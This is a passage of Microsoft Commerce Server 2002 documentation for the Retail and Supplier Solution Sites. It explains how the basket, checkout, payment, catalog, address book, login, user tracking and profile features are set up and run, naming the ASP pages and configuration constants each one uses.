For each such feature, this section describes the implementation of that feature in the Solution Sites, divided into separate discussions of the initialization of the feature, and the browse time execution of the feature (that is, when a user is viewing a Web site page incorporating the feature in their browser).

This section contains:

  • About the Basket Feature for Solution Sites
  • About the Checkout Feature for Solution Sites
  • About the Payment Options Feature for Solution Sites
  • About the Catalog Feature for Solution Sites
  • About the Address Management Feature for Solution Sites
  • About the Login Feature for Solution Sites
  • About the User Tracking Feature for Solution Sites
  • About the Profiles Feature for Solution Sites
  • About the Ads Feature for Solution Sites
  • About the Discounts Feature for Solution Sites
  • About Prediction for Solution Sites
  • About the Customer Service Feature for Solution Sites
  • About the Partner Service Feature for the Supplier Solution Site
  • About the Analysis Integration Feature for Solution Sites
  • About the BizTalk Server Integration Feature
  • Enabling International Features for Solution Sites


About the Basket Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The basket feature involves many parts. It stores a list of items a user has selected to purchase, applies any relevant discounts to product prices, and computes the order subtotal. Users can save shopping baskets so that they can return to the site and purchase the items at a later date.

The following figure shows the basket.asp page workflow.

This figure illustrates the workflow of the basket asp page.

The basket.asp page displays the contents of the user's basket. From the basket.asp page the user can remove a single item, remove all items, change the quantity of a product in their basket, return to the product page, or continue the checkout process through the use of various buttons and links.

The App Default Config settings can be modified to change the user's experience when using the basket feature.

The Add item redirect options property determines the page that is called after users add items to their baskets from the product.asp page. The App Default Config setting for the Add item redirect options property is set to leave users on the product page of the product added to their baskets. The Add item redirect options property can be changed to facilitate other configurations. The following table shows the other configurations for the Add item redirect options property.

Selected Property Value | Friendly Name | Description
0 | REDIRECT_TO_BASKET | Redirects users to the basket.asp page after adding a product to their basket.
1 | REDIRECT_TO_PRODUCT | Leaves the user on the product page of the product that was added to the basket.

For more information about changing the App Default Config settings, see Configuring the App Default Config Resource.

If users have items in their baskets that meet the discount criteria, details on the discount being applied appear in their baskets.

If a user qualifies for a discount, a discount banner may appear at the bottom of the basket.asp page. Some discounts require that the user click the discount banner before the discount is applied; other discounts are automatically applied. Specifying how and when discounts are applied is done in the Campaign Manager module in Commerce Server Business Desk. For more information about the discount banner, see Page Layout Customization for Solution Sites or Creating a Discount.

Initialization

Initialization for the basket feature occurs in the following files:

include\global_main_lib.asp

The InitSitePipelines function is called from the Main subroutine and the returned Pipeline object is set to Application scope as MSCSPipeline.

include\global_siteconfig_lib.asp

The dictPipelines datastructure is used to assign friendly names to the file locations.

Browse Time

The following files display the basket feature:

_additem.asp

Adds the product of a given product ID and variant ID from the given catalog name to the order group. Calls the Analysis_LogAddToBasket subroutine from the include\analysis.asp page. Also calls the ApplyVendorInfo function, which looks up the vendor ID, the vendor qualifier, and the vendor qualifier value for the item. The App Default Config setting for the Add item redirect options property determines if users are sent to the basket.asp page or left on the product page after adding items to their baskets. The default configuration for the Solution Sites leaves users on the product page after they add items to their baskets. The _additem.asp page is called when the Add to Basket button is clicked from the product.asp page.

_delitem.asp

Removes the item at the specified index from the order group. Calls the Analysis_LogRemoveFromBasket subroutine from the analysis.asp page, which removes an item from the user's basket. Returns the user to the basket.asp page, which displays the updated basket. The _delitem.asp page is called when the Remove link is clicked from a line item on the basket.asp page.

_delall.asp

Deletes all the items from the basket. Returns the user to the basket.asp page, which displays the updated empty basket. The _delall.asp page is called when the Remove all link is clicked from the order Subtotal line on the basket.asp page.

_editqty.asp

The user can alter the quantity of any line item by changing the Quantity value and then clicking the Update button. Returns the user to the basket page, which displays the updated order subtotal. This page performs the quantity update by using the Ordergroup object. The _editqty.asp page is called when the Update button is clicked from the basket.asp page.

basket.asp

Displays all the items users have added to their baskets, the quantity of each item, the product code, the product description, the unit price for each item, the total price for each item, the discount applied (if any), a link to remove each item from the order, a link to remove all items from the order, and the order subtotal. The Checkout button at the bottom of the basket.asp page calls either the addrform.asp page or the addrbook.asp page, depending on the App Default Config setting for the Address Book Options property and the user type (registered or anonymous). For more information about the Address Book Options property, see About the Address Management Feature for Solution Sites. The user can reach the basket.asp page at any time by clicking the Basket link from the menu area near the top of the Web page.

See Also

pipeline\basket.pcf

About the Checkout Feature for Solution Sites

About the Payment Options Feature for Solution Sites

About the Catalog Feature for Solution Sites


About the Checkout Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The checkout feature process the order after users have added items to their baskets.

The following figure shows the workflow of the ASP pages involved in the checkout feature.

This figure illustrates the workflow of the ASP pages involved in the checkout feature.

The checkout process begins when the user clicks the Check-out button from the basket.asp page. The default implementations of the Solution Sites have the following page processes:

  1. The basket.asp page calls the address management pages.
  2. Depending on the App Default Config settings pertaining the addressbook feature, users will either enter their bill-to and ship-to addresses on the addrform.asp page or on the addrbook.asp page. The addresses are then set by the _setadrs.asp page, which does not have a user interface.
  3. Users are sent to the pickship.asp page, where they select their shipping method. The shipping method is set by the _setship.asp page, which does not have a user interface.
  4. From the _setship.asp page, the user is redirected to the summary.asp page, where the complete order is displayed for the user to review.
  5. Depending on the App Default Config settings, users will either be redirected to the crdtcard.asp page or the po.asp page to enter their payment information.
  6. On the confirm.asp page users are given order numbers and confirmation that their order was received.

The VerifyWithTotal key is passed between pages in the checkout process to verify that the prices of the items on the orders do not change between the time the products are added to the orders and the time when users actually submit their credit card numbers and when baskets are saved as orders. For example, if the price of an item changed between the time the item was added to a user's basket and the time the order was submitted, the VerifyWithTotal key would display an error message.

Initialization

Initialization for the checkout feature occurs in the following files:

include\global_siteconfig_lib.asp

Included in the global.asa file. The dictPipelines datastructure is used to assign friendly names to the file locations.

Browse Time

The following files display the checkout feature:

addrbook.asp

Allows users to add, delete, or edit addresses from their address books, and to select the shipping and billing address for their current orders. Used only if the App Default Config setting for the Address Book Options property enables the address book. The Select Address button on the addrbook.asp page calls the pickship.asp page.

crdtcard.asp

Displays the page for specifying credit card information. The Submit button calls the crdtcard.asp page where the checkout pipeline is run and validated, the order is submitted to BizTalk Server (if BizTalk Server integration is enabled in the App Default Config settings), the basket is saved as an order, and finally the user is redirected to the confirm.asp page. The crdtcard.asp page is called when the Check-out button on the summary.asp page is clicked. The crdtcard.asp page can also be reached from the po.asp page if purchase orders are enabled in the App Default Config settings.

confirm.asp

Displays an order number and confirmation that the order was received. For credit card payments, this page is called when the Submit button on the crdtcard.asp page is clicked. For purchase orders, this page is called when the Submit button on the po.asp page is clicked. The Submit button calls the crdtcard.asp page or the po.asp page where the checkout pipeline is run and validated, the order is submitted to BizTalk Server (if BizTalk Server integration is enabled in the App Default Config settings), the basket is saved as an order, and finally the user is redirected to the confirm.asp page.

include\payment.asp

Contains functions used on payment feature pages.

pickship.asp

Enables users to select a shipping method. The Check-out button calls the summary.asp page. The pickship.asp page is called when the Select Address button on the addrbook.asp page is clicked.

po.asp

Displays the page for entering the purchase order number in the PO # box. The Submit button calls the po.asp page where the checkout pipeline is run and validated, the order is submitted to BizTalk Server (if BizTalk Server integration is enabled in the App Default Config settings), the basket is saved as an order, and finally the user is redirected to the confirm.asp page.

summary.asp

Displays the billing address, shipping address, items ordered, order sub-total, shipping charges, handling charges, tax, and order total. The Check-out button calls the crdtcard.asp page. The summary.asp page is called by the Check-out button on the pickship.asp page.

See Also

About the Address Management Feature for Solution Sites

About the Payment Options Feature for Solution Sites


About the Payment Options Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Solution Sites have two payment options, credit card payment or purchase orders. The Retail site is configured to enable credit card billing only and the Supplier site is configured to enable purchase orders only. Either of these sites can be configured to enable credit card billing, purchase orders or both.

You use the crdtcard.asp page to enter credit card information, and the po.asp page to enter purchase order information.

The following figure shows the workflow of the crdtcard.asp page.

This figure illustrates the workflow of the crdtcard.asp page.

After the user clicks the Check-out button from the summary.asp page, the crdtcard.asp page is called, which displays a page for editing credit card payment information.

If the Reset button is clicked from the crdtcard.asp page, the form is reset to its original values. If the Submit button, located next to the Reset button, is clicked the crdtcard.asp page is called where the checkout pipeline is run and validated, the order is submitted to BizTalk Server (if BizTalk Server integration is enabled in the App Default Config settings), the basket is saved as an order, and finally the user is redirected to the confirm.asp page.

On the crdtcard.asp page, the Other Payment Options box lists all the payment options for the user. In the default configuration of the Retail site, the only option listed is Credit Card. In the default configuration of the Supplier site, both Credit Card and Purchase Order are listed. Either of these configurations can be changed to enable credit card payment, purchase orders, or both, by changing the App Default Config setting for the Payment options property.

The App Default Config setting for the Payment options property is set to enable credit card billing only on the Retail site, and purchase orders only on the Supplier site. The Payment options property can be changed to facilitate other configurations, as shown in the following table.

Selected Property Value | Friendly Name | Description
1 | CREDIT_CARD_PAYMENT_OPTION | Default setting. Enables credit card billing only.
4 | PURCHASE_ORDER_PAYMENT_OPTION | Enables purchase order billing only.
5 | CREDIT_CARD_PAYMENT_OPTION BitOr PURCHASE_ORDER_PAYMENT_OPTION | Enables credit card and purchase order billing.

For more information about changing App Default Config settings, see Configuring the App Default Config Resource.

The payment option is one part of the checkout feature. For more information about the checkout feature, see Checkout.

Initialization

Initialization for the payment feature occurs in the following files:

include\global_creditcards_lib.asp

Initializes credit card payment information. Included in the global.asa file.

include\global_forms_lib.asp

Contains functions used to retrieve form and field definitions, and profile attributes. Included in the global.asa file.

include\global_siteconfig_lib.asp

The payment pages are assigned friendly names by the GetSitePages function.

Browse Time

The following files display the payment feature:

confirm.asp

Displays an order number and confirmation that the order was received. For credit card payments, this page is called when the Submit button on the crdtcard.asp page is clicked. For purchase orders, this page is called when the Submit button on the po.asp page is clicked. The Submit button calls the crdtcard.asp or po.asp page where the checkout pipeline is run and validated, the order is submitted to BizTalk Server (if BizTalk Server integration is enabled in the App Default Config settings), the basket is saved as an order, and finally the user is redirected to the confirm.asp page.

crdtcard.asp

Displays the page for editing credit card information. Called when the Check-out button on the summary.asp page is clicked on the Retail site. The Submit button calls the crdtcard.asp page where the checkout pipeline is run and validated, the order is submitted to BizTalk Server (if BizTalk Server integration is enabled in the App Default Config settings), the basket is saved as an order, and finally the user is redirected to the confirm.asp page.

include\payment.asp

Contains functions used on payment feature pages and runs the checkout pipeline file, checkout.pcf.

po.asp

Displays the page for entering the purchase order number in the PO # box. The Submit button calls the po.asp page where the checkout pipeline is run and validated, the order is submitted to BizTalk Server (if BizTalk Server integration is enabled in the App Default Config settings), the basket is saved as an order, and finally the user is redirected to the confirm.asp page.

See Also

About the Checkout Feature for Solution Sites


About the Catalog Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

A catalog is a way of organizing the products you want to sell. The Solution Sites provide a mechanism for browsing and searching through single or multiple Commerce Server catalogs. They also allow users to view detailed information on an individual product and provide a link so users can add the product to their baskets.

Both the Retail and Supplier Solution Sites are packaged without any catalogs installed. None of the catalog-related features of the Solution Sites will work until a catalog is either created or imported for the application through Commerce Server Business Desk. You can use a sample catalog, which is provided in the Commerce Server SDK, if you do not have a catalog from which to work. The sample catalog is an XML file.

The topic “Importing an XML Catalog File” in Commerce Server 2002 Help explains how to import the AdvWorks.xml catalog file. The full path to this file is \<Computer Name><Drive>\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Auction\AdvWorksCatalog.xml. Copy this file to the root folder of your computer to make it easier to import.

The Solution Sites rely heavily on caching to improve performance in the catalog. See Catalog Caching for more information about caching catalog data.

Note

  • The catalog pages were written assuming that every product in the catalog has a property called name. The Commerce Server catalog system does not enforce this.

The Solution Sites use the Commerce Server Catalogset object to determine which catalogs are available to a user. The Solution Sites distinguish between a catalog set for anonymous users and a catalog set for authenticated users. Catalog sets are managed through Business Desk.

Initialization

Initialization for the product catalog feature occurs in the following files:

include\global_catalog_lib.asp

The Main subroutine calls three functions in this file to initialize three application variables for the catalog feature. The InitCatalogManager function is called and the returned CatalogManager object is set to Application scope as MSCSCatalogManager. The dictGetCatalogAttributes function is called and the returned dictionary is set to Application scope as MSCSCatalogAttribs. This dictionary is used as a cache for the CatalogManager object properties. The InitCatalogSets function is called and the returned dictionary is set to Application scope as MSCSCatalogSets.
See Caching Solution Sites for information about initialization of the catalog caches.

Browse Time

The user locates products through the search and browsing catalog features. The menu pane provides two types of search features, full-text search and specification search. Both the template\menu.asp and default.asp pages display either a list of searchable categories if there is only one catalog, or a list of catalogs if there is more than one catalog. Either page can be used as a starting point for browsing the application. Most of the browse-time catalog functionality is in the include\catalog.asp file.

Catalog Search Features

The following files display the catalog search features:

template\menu.asp

The htmRenderSearchSection function creates a text box, a search button, and a link to Advanced search. When the user clicks the search button, the user is redirected to the search.asp page with the contents of the text box posted to that page. When the user clicks the Advanced link, the user is redirected to the srchdept.asp page.

search.asp

The bFullTextResultsAreCached function checks for a cached result for the query text. If there is no cached result, the rsFreeTextSearch function constructs a query for the MSCSCatalogManager.FreeTextSearch method and returns a recordset of the results. The RenderSearchResults function converts the recordset into HTML. The CacheFragment function caches the rendered page.

srchdept.asp

This page selects the category that will be searched. Specification searches are limited to a single category.
The bIsSearchDeptPageCached function checks for a cached page with the catalog set for the user. If there is not a cached page, the arrSearchDept function creates an array of strings; each string is a catalog name separated from a category name by an arbitrary string token. The htmRenderSearchDeptPageContent function renders this array as a list of links to the stepsrch.asp page. Each link contains the catalog and category data for the search.

stepsrch.asp

This page implements the specification search for the catalog and category selected on the srchdept.asp page. When the number of matches is less than the value of the SEARCH_THRESHOLD constant, or the user has previously pressed the View Results button, the matches will be listed; otherwise the page displays a list box for each searchable property in the category. Each list box will list all the values for that property in the category. Users can click the View Results button to display the list or the users can refine their search by changing the values selected.
The PrepareSpecificationSearch function builds the query from the user's selections on the page. The first time the page is displayed there is no user input, so a search is performed with an empty specification search clause. This returns the number of items and the properties and values in the category. When the search is refined the user's selections are posted to this page and the search is run again. The search results are rendered by the htmRenderStepSearchPageContent function.

Catalog Browse Feature

The following files display the catalog browse feature:

template\menu.asp

The PrepareCatalogSection function returns a recordset of the catalogs available to the user and the number of catalogs in the recordset. The htmRenderCatalogSection function tests for the number of catalogs available to the user. If there is only one catalog it displays a list of the root categories in the catalog. If there are multiple catalogs it displays a list of the catalogs. In either case the links in the list take the user to the category.asp page.

default.asp

The mscsUserCatalogsetID function returns the CatalogSetID variable. This is used as a key for the page cache. If there is not a cached copy of this page the PrepareDefaultPage function uses the CatalogSetID variable to retrieve a recordset of the catalogs available to the user. The htmRenderDefaultPage function tests for the number of catalogs in the rsCatalogs recordset. If there is only one catalog it calls the htmRenderCategoryPage function to display a list of the root categories in the catalog, and if the number of categories is below a threshold, adds subcategories and products to the list. If there are multiple catalogs it calls the htmRenderCatalogList function to display a list of the catalogs. Each catalog or category is displayed on the page as a link that takes the user to the category.asp page.

category.asp

This page displays lists of category or product links. The FetchCategoryData subroutine sets several page level variables from the Request object's QueryString property, primarily the catalog and category names. The page obtains the Catalog object from the CatalogManager object and calls the mscsGetCategoryObject function to get the Category object. It calls the mscsGetProductList function to get a recordset of the products in the category. This function supports paging, so it will return a subset of all the products, depending on user input.
The htmCategoryHTML function generates the HTML for the page from the data from the previous functions. This function will display all the subcategories and products in the category. A category will typically contain only subcategories or products, but not both. The subcategories will be displayed as links to the category.asp page, which will display the subcategory. The products will be displayed as links to the product.asp page.

product.asp

This page displays product details. The page uses calls to the GetRequestString function to retrieve the productID and variantID from the Request object's QueryString property. After checking the cache, the page gets the Catalog object from the MSCSCatalogManager object, and then the Product object from the Catalog object. The page calls methods on the Product object to get a recordset of product properties and a recordset of variants. The page renders the product properties as an HTML fragment in the htmProduct variable. It calls the RenderForm function to build an HTML form containing the list of variants (if available), hidden text defining the product, a text box for the quantity and an Add to Basket button. The HTML fragments are concatenated into the htmPageContent variable. When the user enters a quantity into the text box and clicks the Add to Basket button the form is submitted to the _additem.asp page.

See Also

include\catalog.asp


About the Address Management Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Storing user's addresses allows for a better repeat-shopper experience. Registered users can store numerous addresses in the address book feature of the Solution Sites if the address book feature is set for read and write access in the App Default Config settings. The address book feature stores addresses that can be used as ship-to or bill-to addresses. The addresses are entered on the newaddr.asp page when the address book feature is enabled. These addresses are available whenever registered users login to the Web site in the future.

For Web sites that have the address book feature enabled with read-only access, registered users can select from a list of previously entered addresses, but they may not add new addresses or modify existing addresses.

For Web sites that do not have the address book feature enabled, and for anonymous users, addresses are not stored for future use. These users must enter their bill-to and ship-to information every time they place an order on the addrform.asp page.

The following figure shows the workflow of the addrbook.asp page.

This figure illustrates the workflow for the addressbook.asp page.

For users that have read and write access to their address books, after the Check-out button is clicked on the basket.asp page, the addrbook.asp page is called, which displays a list of all the addresses in the address book for the user. If users have addresses stored in their address books, they can select one of the addresses from the address book by selecting one of the radio buttons, or they can add a new address by clicking the link Click here to add an address.

If the radio button for an existing address is selected and the user clicks the Select Address button, the pickship.asp page is called. If the user clears the check box indicating that the billing address is the same as the shipping address, and instead clicks the Select Address button, the addrbook.asp page is called again so the user can select the bill-to address.

If the Edit link is clicked, the newaddr.asp page is called, which enables users to edit their selected addresses.

If the Delete link is clicked the newaddr.asp page is called, the address is removed, and the user is immediately redirected to the updated addrbook.asp page.

Users with no addresses stored in their address book only have one option—to click the Click here to add an address link to add a new address. If the user clicks the Click here to add an address link, the newaddr.asp page is called. After the user enters the new address information and clicks the Submit button, the addrbook.asp page appears with the new address.

For users that have read-only access to their address books, after the Check-out button is clicked on the basket.asp page, the addrbook.asp page is called, which displays a list of all the available ship-to addresses in the address book for the users. Users can select one of these addresses by selecting one of the radio buttons. These users do not have the ability to edit, delete, or add a new address to their address books.

For users that do not have the address book feature enabled, after the Check-out button is clicked on the basket.asp page, the addrform.asp page is called. The addrform.asp page displays an empty form in which users must enter their ship-to and bill-to addresses. When the Submit button is clicked, the user is redirected to the pickship.asp page after validation of the address.

The App Default Config setting for the Address Book Options property is set to enable the use of the address book. The Address Book Options property can be changed to facilitate other configurations. The following table shows the available configurations.

Selected Property Value | Friendly Name | Description
0 | ADDRESSBOOK_DISABLED | Disables the use of the address book.
1 | ADDRESSBOOK_READONLY | Read-only access. Users can select from a list of existing addresses, but cannot add new addresses. This is useful for companies that have a predefined list of approved delivery addresses.
2 | ADDRESSBOOK_READWRITE | Read-write access. Users can add and modify the addresses in their own address books.

For more information about changing App Default Config settings, see Configuring the App Default Config Resource.

Initialization

Initialization for the address management features occur in the following file:

include\global_siteconfig_lib.asp

The address book pages are assigned friendly names by the GetSitePages function.

include\global_addressbook_lib.asp

Contains functions and form definitions used by the address management pages. Contains commented code that illustrates how to use alternative address formatting to accommodate international addresses.

Browse Time

The following files display the address management features:

addrbook.asp

Displays the page representing the user's addressbook. Called when the Check-out button is clicked from the basket.asp page if the user is a registered user. The App Default Config value for AddressBookOptions is set to ADDRESSBOOK_READONLY or ADDRESSBOOK_READWRITE.

addrform.asp

Displays a form for users to specify their addresses. Addresses entered on this page are not added to an address book collection. After the address is validated, the address is saved to the order group and the users are redirected to the summary.asp page. Called when the Check-out button is clicked from the basket.asp page if the users are anonymous or if the App Default Config value for AddressBookOptions is ADDRESSBOOK_DISABLED.

newaddr.asp

Displays the page for adding a new address to the user's address book. Called when the Click here to add an address, Edit, or Delete links are clicked from addrbook.asp page.

_setadrs.asp

Takes an address selected from the address book and saves it to the OrderGroup object. Redirects the user to the summary.asp page.

See Also

include\form_lib.asp

About the Checkout Feature for Solution Sites


About the Login Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in the Login Folder provide most of the functionality of the login/logoff process.

Initialization

Initialization for the login feature occurs in the following file:

include\global_main_lib.asp

This file initializes the AppConfig object, which provides access to the Form login options property of the App Default Config Site resource in Commerce Server Manager. The login option constants are defined in the AppConsts 1.0 Type Library.
The following table lists the login options.
Login Option | Value | Description
FORM_LOGIN_NOT_SUPPORTED | 0 | Login is not supported.
FORCE_LOGIN_ON_ENTRANCE | 1 | Login is required to enter the site.
LOGIN_OPTIONAL_ON_ENTRANCE | 2 | Login is optional on entering the site.
FORCE_LOGIN_ON_PURCHASE | 5 | Login is required at the time of purchase (when a user visits a page in the Purchase pageset).
LOGIN_OPTIONAL_ANY_TIME | 6 | Login is optional at any time. This is the default for the Retail site.
USE_IIS_AUTH | 7 | Authentication is through Internet Information Services (IIS) using Basic or Integrated Windows authentication. This is the default for the Supplier site.

Browse Time

The following files display the login feature:

login\login.asp

The login form is rendered and validated using routines from the include\form_lib.asp file. As with other pages that use this library, the login form acts as both a form presentation page and a form acceptor page. On initial access, the page is rendered with an empty login form. On submittal, validation and (potentially) login occurs.
The login form is displayed using the template\no_menu.asp file. It contains User name and Password input text boxes. Additionally, if the user is anonymous and the login option is LOGIN_OPTIONAL_ON_ENTRANCE, a link to entering the site as an anonymous user (login\_guest.asp) is displayed. If registration is enabled on the site, a link to the registration page (login\newuser.asp) is rendered.
The following figure shows a sample login page for a site with registration enabled, and with the login option equal to LOGIN_OPTIONAL_ON_ENTRANCE. The user supplied invalid login credentials, which resulted in the red warning message.

Validation
This page first determines whether the login option is FORM_LOGIN_NOT_SUPPORTED or USE_IIS_AUTH. If either one, the user is immediately redirected to the home page (default.asp), as login is not logical in this context. By default, the login option for the Supplier site is USE_IIS_AUTH. Thus, form login is disabled for the Supplier site and the following discussion in not applicable.
For all other login options, whether the page was posted or submitted is determined, and a test session cookie is written.
When the user submits the login form, the profile associated with the user is retrieved and used to validate the password (ValidateSubmittedLoginData). If the user does not have a profile or the password is not valid, the login form is redisplayed with a warning message. If the password is valid, the registered user ID is retrieved from the profile.
Post-validation
If the user is shopping as an anonymous user and then decides to register (or was forced to register because the login option equals FORCE_LOGIN_ON_PURCHASE), the contents of the user's basket are transferred to a new basket associated with the registered user ID (MoveBasketItems).
If the user allows session cookies, both Auth and Profile tickets are set in individual cookies. The Auth ticket is set to indicate the user is a logged in registered user. The Profile ticket is set so that when the user starts a new browser session, the same user ID is used (since this is only a Profile ticket, the user is not logged in). The site recognizes that the user ID is associated with a registered account and takes the user to the welcome back page where they can log in again. If the site is part of a Web farm, the date the profile for the user was last changed is set into a cookie. For more information, see About the Profiles Feature for Solution Sites.
If the user does not allow session cookies, an Auth ticket is set into a URL query string. A Profile ticket is not set since it would be unavailable when the user starts a new browser session. There is no need to set the date the profile for the user was last changed since, with cookies disabled, the profile for the user is automatically retrieved from the Profile store.
Finally, upon successful login, the user is redirected to the home page.

login\newuser.asp

This page is build to be self-posting and validating. On initial access, the page is rendered with an empty registration form. On submittal, validation and (potentially) profile creation and login occurs.
The registration process is similar to the login process. If registration is not supported on the site or the login option is either FORM_LOGIN_NOT_SUPPORTED or USE_IIS_AUTH, the user is immediately redirected to the home page.
For all other cases, whether the page was posted or submitted is determined, and a test session cookie is written. The registration form is displayed using the template\no_menu.asp file and contains User name, Password, and Confirm password input text boxes.
When the user submits the registration form, the submitted user name is checked against previous registered users to determine if the user name already exists (iValidateSubmittedRegistrationData). If it does, or if the password is syntactically invalid or does not match the confirmation password, the page is redisplayed with a warning message.
If you modify the code to change the minimum/maximum password and user name requirements, the Business Desk and Partner/Customer Services sections of the site must be updated to match.
Upon successful submission, if the user had a previous anonymous profile, it is changed to registered profile (mscsTransferGuestUserProfile). If not, a new profile is created and marked as a registered profile (mscsNewRegisteredUserProfile).
If the user allows session cookies, both Auth and Profile tickets are set in individual cookies. If the user does not allow session cookies, only the Auth ticket is set into a URL query string. For more information, see the discussion in the previous section (login\login.asp).
Finally, upon successful registration, the user is redirected to the home page as a new user.

login\_guest.asp

This page redirects the anonymous user to the home page. If the user already has an Auth ticket, it is removed (effectively logging the user out). If profiling is allowed on the site, a new profile is created for the anonymous user (GetNewGuestUserProfile). Either way, a user ID is generated and set into a Profile ticket.

login\logoff.asp

Running this page logs a user off your site. Depending on the login mode and the browser, the user may have to perform additional steps to be completely and safely logged off your site. This page can also offer links to re-login, register as a new user, or enter the site as a new anonymous user, as appropriate.

See Also

Page-Level Access Control for Solution Sites

About the Profiles Feature for Solution Sites

About the User Tracking Feature for Solution Sites

Global Constants


About the User Tracking Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Users of a Web site are classified by user type and access type, and tracked through the use of a unique user ID (anonymous and authenticated users only). Profiles may be associated with users depending on site configuration settings. When a user visits a page, the GetUserInfo subroutine in the file include\setupenv.asp retrieves the user ID and sets the user type and access type. This information is used to determine whether page access is allowed. For more information about page access, see Authentication. The user ID is written to the Web server log file and used to identify the user by the Commerce Server Business Analytics System.

The following table lists the user types. This value is stored in the m_UserType variable.

User Type | Value | Description
ANON_USER | 1 | An anonymous user. The user is unidentified, does not have a ticket, and is not tracked (is not recognized on return visits).
GUEST_USER | 2 | An anonymous user. The user has not registered but has a GUEST_TICKET. The user may or may not have a profile depending on site options. The user is tracked during the current session and, if cookies are enabled on the client and the site, the user is tracked between sessions.
AUTH_USER | 4 | An authenticated user. The user is registered, authenticated (access type equals either IIS_AUTH or TICKET_AUTH), and is tracked.

The following table lists the access types. This value is stored in the m_UserAccessType variable.

Access Type | Value | Description
GUEST_VISIT | 1 | A visit by a GUEST_USER authenticated using the AuthManager object and a GUEST_TICKET.
IIS_AUTH | 2 | A visit by an AUTH_USER authenticated to Internet Information Services (i_FormLoginOptions = USE_IIS_AUTH) using either Basic or Integrated Windows authentication.
TICKET_AUTH | 3 | A visit by an AUTH_USER authenticated using the AuthManager object and an AUTH_TICKET.
ANON_VISIT | 5 | A visit by an ANON_USER.

The Retail site stores the user ID in a ticket, which is a set of property name/value pairs placed in a cookie (if cookies are enabled on the client and the site) or a URL query string (URL mode). The user ID is also stored in the profile of the user if profiling is enabled. For more information about tickets, see Authentication Tickets.

The following table lists the two ticket types, their values, the ticket names (cookie/URL key name), and the constants defined for the ticket names.

Type | Value | Name | Name Constant | Description
GUEST_TICKET | 1 | MSCSProfile | GUEST_TICKET_NAME | A ticket for an anonymous user, which contains a unique user ID.
AUTH_TICKET | 2 | MSCSAuth | AUTH_TICKET_NAME | A ticket for an authenticated user, which contains a unique user ID, the last login time for the user, and a time window of validity.

The user ID is written to the Web server log file either as part of the cookie or the URL query string. The Commerce Server Business Analytics System retrieves the user ID from the cookie when the Web log file is imported by the Web server log file Data Transformation Service (DTS) task. If URL mode is enabled, users may not be correctly identified and several Analysis reports may be incorrect. A PERL script is available that pre-processes the Web log file so that the user ID is correctly imported when using URL mode. For more information about obtaining the PERL script, see the Commerce Server Web site.

The following table lists the constants, used for the iSiteTicketOptions property of the App Default Config resource, that determine whether the site uses cookie or URL mode to store the ticket. If the site is set to use cookie mode but cookies are disabled on the client, the site uses URL mode.

Type | Value | Description
PUT_TICKET_IN_URL | 1 | Uses URL mode.
PUT_TICKET_IN_COOKIE | 2 | Uses cookie mode.

The following table lists the constants that determine where the AuthManager object places the ticket.

Type | Value | Description
WRITE_TICKET_TO_COOKIE | -1 | Writes the ticket to a cookie.
WRITE_TICKET_TO_URL | 0 | Writes the ticket to a URL query string.

The previous constants are defined in the AppConsts 1.0 Type Library.

The Supplier site uses Internet Information Services (IIS) authentication. In this mode, the user name is stored in the AUTH_USER variable of the ServerVariables collection of the Request object. The user name is used to retrieve the profile of the user, which contains the user ID.

Initialization

Initialization for the User Tracking feature occurs in the following file:

include\setupenv.asp

This file calls the GetAuthManagerObject function in the include\std_access_lib.asp file to create the AuthManager object, which is used to set and retrieve the tickets in the Retail site.

Browse Time

The following files are used for User Tracking:

login\_guest.asp

login\login.asp

login\newuser.asp

The ticket is set into either a cookie or a URL query string by routines in these files and by the EnsureAccess subroutine.

include\std_access_lib.asp

The user ID is retrieved from the ticket or the ServerVariables collection by the GetUserInfo subroutine in this file. If the user has both a GUEST_TICKET and an AUTH_TICKET, the AUTH_TICKET takes precedence.

include\std_url_lib.asp

The ticket location is retrieved by the GetTicketLocation function in this file.

See Also

About the Profiles Feature for Solution Sites

Page-Level Access Control for Solution Sites

About the Login Feature for Solution sites

Global Constants

AuthManager Object


About the Profiles Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

A profile is a set of characteristics that define a business-related entity. The Solution Sites use UserObject, Organization, and Address profiles. The UserObject profile contains personal information about the user, logon credentials, and catalog set information. For the Retail Solution Site, profiles are stored in a SQL Server database. For the Supplier Solution Site, an Active Directory store is also used. The storage locations are collectively referred to as the Profiles store.

The Solution Sites have a feature called Customer Services that allows registered users to view and modify their own profile. The Solution Sites can also expose a feature called Partner Services that allows delegated administrators of an organization to manage the profiles of members of their organization.

In the Retail site, all registered users have a profile. Whether anonymous users have profiles is optional; however, this feature is enabled by default. To disable anonymous user profiling, set the Site privacy options (i_SitePrivacyOptions) property to 2 (TRACK_GUEST_VISITS) in the App Default Config Site resource in Commerce Server Manager. This property is checked before creating any new anonymous profiles (GetNewGuestUserProfile).

The Supplier site only allows registered users, so each user and organization must have a profile. Typically, the site administrator creates the Organization profile and a UserObject profile for a delegated administrator through Commerce Server Business Desk. The delegated administrator then creates the profiles for members of the organization.

Web farm issues

In a Web farm scenario, each server provides a local profile cache. The value of the user's profile (UserObject profile) in a particular cache can become outdated if the profile was changed on a different server. In order for the server to recognize that the user's profile has changed, a last updated timestamp is set in both the user's profile (in the Profiles store) and in a cookie for the user, when the profile is created and updated (UpdateUserProfile).

When a user visits a server in the Web farm, the timestamp in the profile in the local cache is checked against the timestamp in the cookie (GetCurrentUserProfile). If they are not equal, the profile is retrieved from the Profiles store (using the GetInfo method of the IADs interface), bypassing the local cache. If cookies are not enabled, the cache is always bypassed, because there is no reliable way of tracking the last updated time due to Back button, page refresh, and other issues.

The lookup of Address profiles always bypasses the cache because they are accessed infrequently and there is potentially a large number of these profiles to track. Organization profile lookups bypass the cache on an as-needed basis depending on the likeliness of the data in the profile changing.

